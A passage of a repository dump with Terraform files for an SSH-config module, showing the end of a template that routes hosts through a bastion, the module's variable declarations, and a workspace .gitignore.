IdentityFile ${ssh_identity_file} 14 | UserKnownHostsFile ${ssh_known_hosts} 15 | ProxyJump bastion 16 | %{ endfor ~} 17 | -------------------------------------------------------------------------------- /terraform/modules/ssh-config/variables.tf: -------------------------------------------------------------------------------- 1 | variable "bastion_ip" { 2 | description = "The IP address of the bastion host." 3 | } 4 | 5 | variable "instances" { 6 | description = "Map of instance name to ip address." 7 | type = map(string) 8 | default = {} 9 | } 10 | 11 | variable "ssh_config_dir" { 12 | description = "The directory to write the ssh config files." 13 | } 14 | 15 | variable "ssh_config_file" { 16 | description = "The name of the ssh config file." 17 | } 18 | 19 | variable "ssh_user" { 20 | description = "The name of the ssh user." 21 | } 22 | 23 | variable "ssh_force_tty" { 24 | description = "Set RequestTTY Force in the ssh config file." 25 | type = bool 26 | default = false 27 | } 28 | 29 | variable "ssh_identity_file" { 30 | description = "The name of the private key." 31 | } 32 | 33 | variable "ssh_known_hosts_file" { 34 | description = "The of the known hosts file." 35 | } 36 | -------------------------------------------------------------------------------- /terraform/workspaces/simulator-iam/.gitignore: -------------------------------------------------------------------------------- 1 | .terraform/ 2 | .terraform.lock.hcl 3 | terraform.tfstate* 4 | --------------------------------------------------------------------------------